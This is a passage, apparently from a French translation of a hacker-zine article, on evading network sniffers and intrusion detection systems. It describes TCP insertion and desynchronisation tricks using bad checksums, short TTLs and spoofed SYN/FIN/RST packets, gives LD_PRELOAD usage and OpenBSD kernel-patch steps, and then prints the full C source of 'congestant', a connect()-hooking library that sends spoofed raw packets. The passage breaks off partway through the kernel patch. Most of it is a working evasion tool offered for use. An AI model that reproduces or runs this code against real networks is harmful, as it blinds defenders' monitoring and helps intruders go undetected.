9. Insertion - Donnée Invalide - TCP checksum validation
Cette technique est une variation de l'attaque précédente d'insertion de données, excepté que nous insérerons des données avec des numéros de séquence corrects, mais des checksum TCP incorrects. Ceci servira à confondre et desynchroniser des sniffers et IDS en les alimentant avec beaucoup de données qui ne seront pas traitées par les noyaux participants. Cette attaque exige le support du noyau pour obtenir les numéros de séquence corrects pour les paquets sortants. Cette attaque est également semblable à l'attaque "insert-2" décrite dans l'article de NAI.
10. Insertion - Spoofing FIN et RST - TTL Court
Si l'IDS ou le sniffer est placé sur le réseau tel qu'il se trouve à plusieurs hops de l'hôte qu'il surveille, alors nous pouvons faire une attaque simple, utilisant la zone TTL du paquet IP. Pour cette attaque, nous déterminons le plus court TTL qui peut être employée pour atteindre l'hôte cible, et lui soustrayons un. Ceci nous permet d'envoyer les paquets qui n'atteindront pas l'hôte cible, mais qui offre des possibilités intéressantes d'atteindre l'IDS ou le sniffer. Dans cette attaque, nous envoyons un quelques paquets FIN, quelques paquets RST.
11. Insertion - Data Spoofing - TTL Court
Pour notre attaque finale, nous enverrons 8ko de données avec les numéros de séquence et checksum TCP corrects. Cependant, le TTL sera un hop trop court pour atteindre notre hôte cible.
Résumé
-------
Toutes ces attaques fonctionnent de concert pour confondre des sniffers et des IDS. Voici l'ordre dans lequel nous les exécutons :
Attaque 1 - Desing de Sniffer One Host.
FAKEHOST -> TARGET SYN
Attaque 7 - Tentavite de Désynchronisation Pré-connexion.
REALHOST -> TARGET SYN (mauvais Checksum TCP, Num Seq arbitraire)
Activité du noyau
REALHOST -> TARGET SYN (C'est le vrai SYN, envoyé par votre noyau)
Attaque 6 - Tentative de Désynchronisation Post-connexion.
REALHOST -> TARGET SYN (Num Seq arbitraire X)
REALHOST -> TARGET SYN (Num Seq X+1)
Attaque 4 - Data Spoofing - Numéros de séquence invalides
REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attaque 5 - FIN/RST Spoofing - Numéros de séquence invalides
REALHOST -> TARGET FIN (Num Seq X+2+8192)
REALHOST -> TARGET FIN (Num Seq X+3+8192)
REALHOST -> TARGET RST (Num Seq X+4+8192)
REALHOST -> TARGET RST (Num Seq X+5+8192)
Attaque 11 - Data Spoofing - TTL
* REALHOST -> TARGET DATA x 8 (1024 octets, TTL Court , Num Seq Réel Y)
Attaque 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (TTL Court, Num Seq Y+8192)
* REALHOST -> TARGET FIN (TTL Court, Num Seq Y+1+8192)
* REALHOST -> TARGET RST (TTL Court, Num Seq Y+2+8192)
* REALHOST -> TARGET RST (TTL Court, Num Seq Y+3+8192) Attaque - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 octets, mauvais Checksum TCP, Num Seq Réel Z)
Attaque - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (mauvais Checksum TCP, Num Seq Z+8192)
* REALHOST -> TARGET FIN (mauvais Checksum TCP, Num Seq Z+1+8192)
* REALHOST -> TARGET RST (mauvais Checksum TCP, Num Seq Z+2+8192)
* REALHOST -> TARGET RST (mauvais Checksum TCP, Num Seq Z+3+8192)
Les attaques avec un astérisque exigent du support noyau de déterminer les numéros de séquence corrects. Discutablement, ceci pourrait être fait sans support noyau, en utilisant un snifer de niveau datalink, mais il rendrait le code sensiblement plus complexe, parce qu'il devrait rassembler des fragments, et faire plusieurs contrôles de validation afin de suivre la vraie connexion. L'utilisateur peut choisir que lesquelles de ces attaques il/elle voudrait exécuter, et les numéros de séquence s'ajusteront en conséquence.
----[ Section 2 - Implementation et Usage
Mon but premier lorsque j'ai mis en application ces techniques était de maintenir les changements nécessaires à l'utilisation normale de système aussi léger que possible. J'ai dû diviser les techniques en 2 catégories : attaques qui peuvent être exécutées depuis le contexte d'utilisateur, et attaques qui doivent être supportés par le noyau d'une certaine manière. Mon but secondaire était de rendre l'ensemble des attaques locales raisonnablement portatif à d'autres environnements d'Unix, autres qu'OpenBSD et Linux.
Les attaques locales sont appliquées en utilisant la redirection de bibliothèque partagée, une technique extrêmement utile empruntée à l'article P51-08 de halflife. Le premier programme énuméré ci-dessous, congestant.c, est une bibliothèque partagée que l'utilisateur requiert le chargeur de linker d'abord. Ceci est fait avec la variable d'environnement de LD_PRELOAD sur plusieurs Unix. Pour plus d'informations sur cette technique, référez-vous à l'article initial par halflife.
La bibliothèque partagée définit le symbole de connexion, de ce fait en s'appropriant la fonction normale de connexion depuis libc (ou de libsocket) pendant la phase de chargement du programme d'exécution. Ainsi, vous devriez pouvoir utiliser ces techniques avec la plupart de n'importe quel programme client qui utilise la fonctionnalité normale BSD socket. OpenBSD ne nous laisse pas faire la redirection de bibliothèque partagée (quand vous essayez de dlsym le vieux symbole hors de libc, il vous donne un pointeur vers fonction que vous aviez préchargée). Cependant, ce n'est pas un problème parce que nous pouvons juste appeler le syscall connect() directement.
Cette bibliothèque partagée a quelques inconvénients définis, mais vous en avez pour votre argent. Cela ne fonctionnera pas correctement avec les programmes qui font des appels de connexion non-bloquant, ou l'accès de niveau RAW ou datalink. En outre, il est conçu pour l'usage sur de sockets TCP, et sans support noyau pour déterminer le type d'une socket, il essayera les attaques TCP sur des connexions UDP. Ce support actuel est seulement appliqué sous OpenBSD. Cependant, ce n'est pas un gros inconvénient parce qu'il envoie juste quelques paquets qui sont ignorés. Un autre inconvénient à la bibliothèque partagée est qu'il sélectionne un numéro de séquence hors du bleu pour représenter le "faux" numéro de séquence. En raison de cela, il y a une possibilité très petite que la bibliothèque partagée sélectionne un numéro de séquence légitime, et ne desynchronise pas le flux. Ceci, cependant, est extrêmement peu probable.
Un fichier makefile accompagne la bibliothèque partagée. Éditez-le pour l'adapter à votre hôte, et puis entrez dans le fichier source et faites-le pointer vers votre copie de libc.so, et vous devriez être prêt. Le code a été testé sur OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, glibc Debian Linux, Solaris 2.5, et Solaris 2.6. Vous pouvez utiliser la bibliothèque comme ceci :
Code:
# export LD_PRELOAD=./congestion.so
Code:
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
Code:
# telnet www.blah.com
DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs noyau support)
FC: Spoof FIN packets with bad TCP checksums. (needs noyau support)
RC: Spoof RST packets with bad TCP checksums. (needs noyau support)
DT: Insert 8k of data with short TTLs. (needs noyau support)
FT: Spoof FIN packets with short TTLs. (needs noyau support)
RT: Spoof RST packets with short TTLs. (needs noyau support)
Support noyau
----------------
Des patches noyau OpenBSD sont fournis pour faciliter plusieurs des techniques décrites ci-dessus. Ces patches ont été fait avec la distribution des sources 2.4. J'ai ajouté 3 variables sysctl au noyau, et un nouvel appel système. Les 3 variables sysctl sont :
net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack (integer)
Le nouvel appel système est getsockinfo(), et c'est l'appel système numéro 242.
Les 3 sysctl peuvent être employés pour modifier les caractéristiques de chaque paquet IP sortant venant de la machine. La variable fraghackhead indique un nouveau MTU, en octets, pour les datagrammes IP sortants. Fraghackhead est appliqué à chaque datagramme sortant, à moins que fraghackbody soit également défini. Dans ce cas, le MTU pour le premier fragment d'un paquet est lu depuis fraghackhead, et le MTU pour chaque fragment consécutif est lu depuis fraghackbody. Ceci vous permet de forcer votre machine à fragmenter tout votre trafic, à n'importe quelle taille que vous indiquez. La raison pour qu'il soit divisé en 2 variables est de faire en sorte que le premier fragment contienne l'entête TCP/UDP entière, et que les fragments suivants soit de 8 ou 16 octets. De cette façon, vous pouvez obtenir vos paquets réduits en fragments après certains routeurs filtrant qui bloquent n'importe quel type d'en-tête potentiellement réécrite. L'optionshack sysctl vous permet de placer 40 octets obligatoires d'options IP NULL sur chaque paquet sortant.
J'ai appliqué ces contrôles tels qu'ils n'ont aucun effet sur des paquets envoyés par des raw sockets. L'implication de ceci est que nos paquets attaquants ne seront pas réduits en fragments ou ne contendront pas d'options IP.
Utiliser ces sysctl est assez simple : pour les variables fraghack, vous indiquez un certain nombre d'octets (ou 0 pour les arrêter), et pour optionshack, vous l'avez placé à 0 ou à 1. Voici un exemple d'utilisation :
Code:
# sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header # sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header # sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag
L'appel système, getsockinfo, est nécessaire pour le programme local pour déterminer si une socket est une socket TCP, et pour interroger le noyau pour le prochain numéro de séquence qu'il s'attend à envoyer pour le prochain paquet sortant, comme le prochain numéro de séquence qu'il compte recevoir depuis le port distant. Ceci permet au programme local d'appliquer des attaques basées sur le fait d'avoir un numéro de séquence correct, mais une imperfection dans le paquet tel que TTL courte ou à un mauvais checksum TCP.
Installation du Patch noyau
----------------------------
Voici les étapes que j'utilise pour installer les patches noyau.
Avertissement : Je ne suis pas un programmeur de noyau expérimenté, ainsi ne soyez pas trop contrarié si votre machine devient peu un barjo. Le test que j'ai réalisé sur mes propres machines s'est bien déroulé, mais rendez vous compte que vous jouez vraiment avec la matière critique en installant ces patches. Vos performances d'exécutions peuvent souffrir, ou d'autres mauvaises blagues du même genre. Mais hey, vous ne pouvez pas vous amuser si vous ne prenez aucun risque:>
Step 1. Appliquez netinet.patch dans /usr/src/sys/netinet/
Step 2. cp /usr/src/sys/netinet/in.h dans /usr/include/netinet/in.h
Step 3. aller dans /usr/src/usr.sbin/sysctl, et recompilez et installez le
Step 4. Appliquez kern.patch dans /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Appliquez sys.patch dans /usr/src/sys/sys/
Step 7. cd dans votre répertoire de compilation noyau (/usr/src/sys/arch/XXX/compile/XXX), et faites un make depend && make.
Step 8. cp bsd /bsd, reboot, et croisez les doigts.
----[ The Code
Code:
<++> congestant/Makefile # OpenBSD LDPRE=-Bshareable LDPOST= OPTS=-DKERNELSUPPORT # Linux #LDPRE=-Bshareable #LDPOST=-ldl #OPTS= # Solaris #LDPRE=-G #LDPOST=-ldl #OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 congestant.so: congestant.o ld ${LDPRE} -o congestant.so congestant.o ${LDPOST} congestant.o: congestant.c gcc ${OPTS} -fPIC -c congestant.c clean: rm -f congestant.o congestant.so <--> <++> congestant/congestant.c /* * congestant.c - demonstration of sniffer/ID defeating techniques * * by horizon <[email protected]> * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor * * openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org * * This whole thing is a conditionally compiling nightmare. :> * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux */ /* The path to our libc. (libsocket under Solaris) */ /* You don't need this if you are running OpenBSD */ /* #define LIB_PATH "/usr/lib/libsocket.so" */ #define LIB_PATH "/lib/libc-2.0.7.so" /* #define LIB_PATH "/usr/lib/libc.so" */ /* The source of our initial spoofed SYN in the One Host Design attack */ /* This has to be some host that will survive any outbound packet filters */ #define FAKEHOST "42.42.42.42" #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/stat.h> #include <string.h> #include <fcntl.h> #include <dlfcn.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/time.h> #include <sys/socket.h> #include <sys/syscall.h> #if __linux__ #include <endian.h> #endif #include <errno.h> struct cong_config { int one_host_attack; int fin_seq; int rst_seq; int syn_seq; int data_seq; int data_chk; int fin_chk; int rst_chk; int syn_chk; int data_ttl; int fin_ttl; int rst_ttl; int ttl; } cong_config; int cong_init=0; int cong_debug=0; long cong_ttl_cache=0; int cong_ttl=0; /* If this is not openbsd, then we will use the connect symbol from libc */ /* otherwise, we will use syscall(SYS_connect, ...) */ #ifndef __OpenBSD__ #if __GLIBC__ == 2 int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif #endif /* not openbsd */ #define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x)); /* define our own headers so its easier to port. use cong_ to avoid any * potential symbol name collisions */ struct cong_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct cong_icmp_header /* this is really an echo */ { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; unsigned long icmp_timestamp; }; struct cong_tcp_header { unsigned short th_sport; /* source port */ unsigned short th_dport; /* destination port */ unsigned int th_seq; /* sequence number */ unsigned int th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN unsigned char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN unsigned char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 unsigned short th_win; /* window */ unsigned short th_sum; /* checksum */ unsigned short th_urp; /* urgent pointer */ }; struct cong_pseudo_header { unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; }; int cong_checksum(unsigned short* data, int length) { register int nleft=length; register unsigned short *w = data; register int sum=0; unsigned short answer=0; while (nleft>1) { sum+=*w++; nleft-=2; } if (nleft==1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer; } sum=(sum>>16) + (sum & 0xffff); sum +=(sum>>16); answer=~sum; return answer; } #define PHLEN (sizeof (struct cong_pseudo_header)) #define IHLEN (sizeof (struct cong_ip_header)) #define ICMPLEN (sizeof (struct cong_icmp_header)) #define THLEN (sizeof (struct cong_tcp_header)) /* Utility routine for the ttl attack. Sends an icmp echo */ void cong_send_icmp(long source, long dest, int seq, int id, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt; struct cong_ip_header *ip; struct cong_icmp_header *icmp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN)); ip=(struct cong_ip_header *)pkt; icmp=(struct cong_icmp_header *)(pkt+IHLEN); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+ICMPLEN); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_ICMP ;//ICMP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; icmp->icmp_type=8; icmp->icmp_seq=htons(seq); icmp->icmp_id=htons(id); icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN); if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(pkt); close(sock); } /* Our main worker routine. sends a TCP packet */ void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int cksum, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt,*phtcp; struct cong_pseudo_header *ph; struct cong_ip_header *ip; struct cong_tcp_header *tcp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen)); ph=(struct cong_pseudo_header *)phtcp; tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt; ph->saddr=source; ph->daddr=dest; ph->mbz=0; ph->ptcl=IPPROTO_TCP; ph->tcpl=htons(THLEN + dlen); tcp->th_sport=sport; tcp->th_dport=dport; tcp->th_seq=seq; tcp->th_ack=ack; tcp->th_off=THLEN/4; tcp->th_flags=flags; if (ack) tcp->th_flags|=TH_ACK; tcp->th_win=htons(16384); memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum; ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+THLEN+dlen); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP ;//TCP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN); memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen); if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(phtcp); free(pkt); close(sock); } /* Utility routine for data insertion attacks */ void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl) { char data[1024]; int i,j; for (i=0;i<8;i++) { for (j=0;j<1024;data[j++]=random()); cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl); } } /* Utility routine for the ttl attack - potentially unreliable */ /* This could be rewritten to look for the icmp ttl exceeded and count * the number of packets it receives, thus going much quicker. */ int cong_find_ttl(long source, long dest) { int sock; long timestamp; struct timeval tv,tvwait; int ttl=0,result=255; char buffer[8192]; int bread; fd_set fds; struct cong_ip_header *ip; struct cong_icmp_header *icmp; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket"); exit(1); } tvwait.tv_sec=0; tvwait.tv_usec=500; gettimeofday(&tv,NULL); timestamp=tv.tv_sec+3; // 3 second timeout DEBUG("Determining ttl..."); while(tv.tv_sec<=timestamp) { gettimeofday(&tv,NULL); if (ttl<50) { cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++); } FD_ZERO(&fds); FD_SET(sock,&fds); select(sock+1,&fds,NULL,NULL,&tvwait); if (FD_ISSET(sock,&fds)) { if (bread=read(sock,buffer,sizeof(buffer))) { /* should we practice what we preach? nah... too much effort :p */ ip=(struct cong_ip_header *)buffer; if (ip->ip_src!=dest) continue; icmp=(struct cong_icmp_header *)(buffer + ((ip->ip_hl)<<2)); if (icmp->icmp_type!=0) continue; if (ntohs(icmp->icmp_seq)<result) result=ntohs(icmp->icmp_seq); } } } if (cong_debug) fprintf(stderr,"%d\n",result); close(sock); return result; } /* This is our init routine - reads conf env var*/ /* On the glibc box I tested, you cant dlopen from within * _init, so there is a little hack here */ #if __GLIBC__ == 2 int cong_start(void) #else int _init(void) #endif { void *handle; char *conf; #ifndef __OpenBSD__ handle=dlopen(LIB_PATH,1); if (!handle) { fprintf(stderr,"Congestant Error: Can't load libc.\n"); return 0; } #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect"); #else cong_connect = dlsym(handle, "_connect"); #endif if (!cong_connect) { fprintf(stderr,"Congestant Error: Can't find connect().\n"); return -1; } #endif /* not openbsd */ memset(&cong_config,0,sizeof(struct cong_config)); if (conf=getenv("CONGCONF")) { char *token; token=strtok(conf,","); while (token) { if (!strcmp(token,"OH")) cong_config.one_host_attack=1; else if (!strcmp(token,"FS")) cong_config.fin_seq=1; else if (!strcmp(token,"RS")) cong_config.rst_seq=1; else if (!strcmp(token,"SS")) cong_config.syn_seq=1; else if (!strcmp(token,"DS")) cong_config.data_seq=1; else if (!strcmp(token,"FC")) cong_config.fin_chk=1; else if (!strcmp(token,"RC")) cong_config.rst_chk=1; else if (!strcmp(token,"SC")) cong_config.syn_chk=1; else if (!strcmp(token,"DC")) cong_config.data_chk=1; else if (!strcmp(token,"FT")) { cong_config.fin_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"RT")) { cong_config.rst_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DT")) { cong_config.data_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DEBUG")) cong_debug=1; token=strtok(NULL,","); } } else /* default to full sneakiness */ { cong_config.one_host_attack=1; cong_config.fin_seq=1; cong_config.rst_seq=1; cong_config.syn_seq=1; cong_config.data_seq=1; cong_config.syn_chk=1; cong_debug=1; /* assume they have kernel support */ /* attacks are only compiled in under obsd*/ cong_config.data_chk=1; cong_config.fin_chk=1; cong_config.rst_chk=1; cong_config.data_ttl=1; cong_config.fin_ttl=1; cong_config.rst_ttl=1; cong_config.ttl=1; } cong_init=1; } /* This is our definition of connect */ #if (__svr4__ && __sun__) int connect (int __fd, struct sockaddr * __addr, int __len) #else #if __GLIBC__ == 2 int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif #endif { int result,nl; struct sockaddr_in sa; long from,to; short src,dest; unsigned long fakeseq=424242; int type=SOCK_STREAM; unsigned long realseq=0; unsigned long recvseq=0; int ttl=255,ttlseq; #if __GLIBC__ == 2 if (cong_init==0) cong_start(); #endif if (cong_init++==1) fprintf(stderr,"Congestant v1 by horizon loaded.\n"); /* quick hack so we dont waste time with udp connects */ #ifdef KERNELSUPPORT #ifdef __OpenBSD__ syscall(242,__fd,&type,&realseq,&recvseq); #endif /* openbsd */ if (type!=SOCK_STREAM) { result=syscall(SYS_connect,__fd,__addr,__len); return result; } #endif /* kernel support */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; #if __GLIBC__ == 2 to=__addr.__sockaddr_in__->sin_addr.s_addr; dest=__addr.__sockaddr_in__->sin_port; #else to=((struct sockaddr_in *)__addr)->sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)->sin_port; #endif if (cong_config.one_host_attack) { cong_send_tcp(inet_addr(FAKEHOST), to, 4242, dest, 0, 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Spoofed Fake SYN Packet\n"); } if (cong_config.syn_chk) { /* This is a potential problem that could mess up * client programs. If necessary, we bind the socket * so that we can know what the source port will be * prior to the connection. */ if (src==0) { bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; } cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0, TH_SYN, NULL, 0,100, 254); DEBUG("Sent Pre-Connect Desynchronizing SYN.\n"); fakeseq++; } DEBUG("Connection commencing...\n"); #ifndef __OpenBSD__ result=cong_connect(__fd,__addr,__len); #else /* not openbsd */ result=syscall(SYS_connect,__fd,__addr,__len); #endif if (result==-1) { if (errno!=EINPROGRESS) return -1; /* Let's only print the warning once */ if (cong_init++==2) fprintf(stderr,"Warning: Non-blocking connects might not work right.\n"); } /* In case an ephemeral port was assigned by connect */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; if (cong_config.syn_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Sent Desynchronizing SYNs.\n"); } if (cong_config.data_seq) { cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024; } if (cong_config.fin_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); DEBUG("Spoofed FINs with incorrect sequence numbers.\n"); } if (cong_config.rst_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); DEBUG("Spoofed RSTs with incorrect sequence numbers.\n"); } #ifdef KERNELSUPPORT #ifdef __OpenBSD__ if (cong_config.ttl==1) if (cong_ttl_cache!=to) { ttl=cong_find_ttl(from,to)-1; cong_ttl_cache=to; cong_ttl=ttl; } else ttl=cong_ttl; if (ttl<0) { fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0; cong_config.fin_ttl=0; cong_config.rst_ttl=0; ttl=0; } syscall(242,__fd,&type,&realseq,&recvseq); ttlseq=realseq; #endif /*openbsd */ if (cong_config.data_ttl) { cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8; } if (cong_config.fin_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); DEBUG("Spoofed FINs with short ttl.\n"); } if (cong_config.rst_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); DEBUG("Spoofed RSTs with short ttl.\n"); } if (cong_config.data_chk) { cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8; } if (cong_config.fin_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); DEBUG("Spoofed FINs with incorrect TCP checksums.\n"); } if (cong_config.rst_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); DEBUG("Spoofed RSTs with incorrect TCP checksums.\n"); } #endif /* kernel support */ return result; } <--> <++> congestant/netinet.patch Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h --- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998 +++ netinet/in.h Tue Dec 8 10:48:33 1998 @@ -325,7 +325,10 @@ #define IPCTL_IPPORT_LASTAUTO 8 #define IPCTL_IPPORT_HIFIRSTAUTO 9 #define IPCTL_IPPORT_HILASTAUTO 10 -#define IPCTL_MAXID 11 +#define IPCTL_FRAG_HACK_HEAD 11 +#define IPCTL_FRAG_HACK_BODY 12 +#define IPCTL_OPTIONS_HACK 13 +#define IPCTL_MAXID 14 #define IPCTL_NAMES { \ { 0, 0 }, \ @@ -339,6 +342,9 @@ { "portlast", CTLTYPE_INT }, \ { "porthifirst", CTLTYPE_INT }, \ { "porthilast", CTLTYPE_INT }, \ + { "fraghackhead", CTLTYPE_INT }, \ + { "fraghackbody", CTLTYPE_INT }, \ + { "optionshack", CTLTYPE_INT }, \ } #ifndef _KERNEL diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c --- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998 +++ netinet/ip_input.c Tue Dec 8 10:48:33 1998 @@ -106,6 +106,10 @@ extern int ipport_hilastauto; extern struct baddynamicports baddynamicports; +extern int ip_fraghackhead; +extern int ip_fraghackbody; +extern int ip_optionshack; + extern struct domain inetdomain; extern struct protosw inetsw[]; u_char ip_protox[IPPROTO_MAX]; @@ -1314,6 +1318,15 @@ case IPCTL_IPPORT_HILASTAUTO: return (sysctl_int(oldp, oldlenp, newp, newlen, &ipport_hilastauto)); + case IPCTL_FRAG_HACK_HEAD: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackhead)); + case IPCTL_FRAG_HACK_BODY: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_fraghackbody)); + case IPCTL_OPTIONS_HACK: + return (sysctl_int(oldp, oldlenp, newp, newlen, + &ip_optionshack)); default: return (EOPNOTSUPP); } diff -u 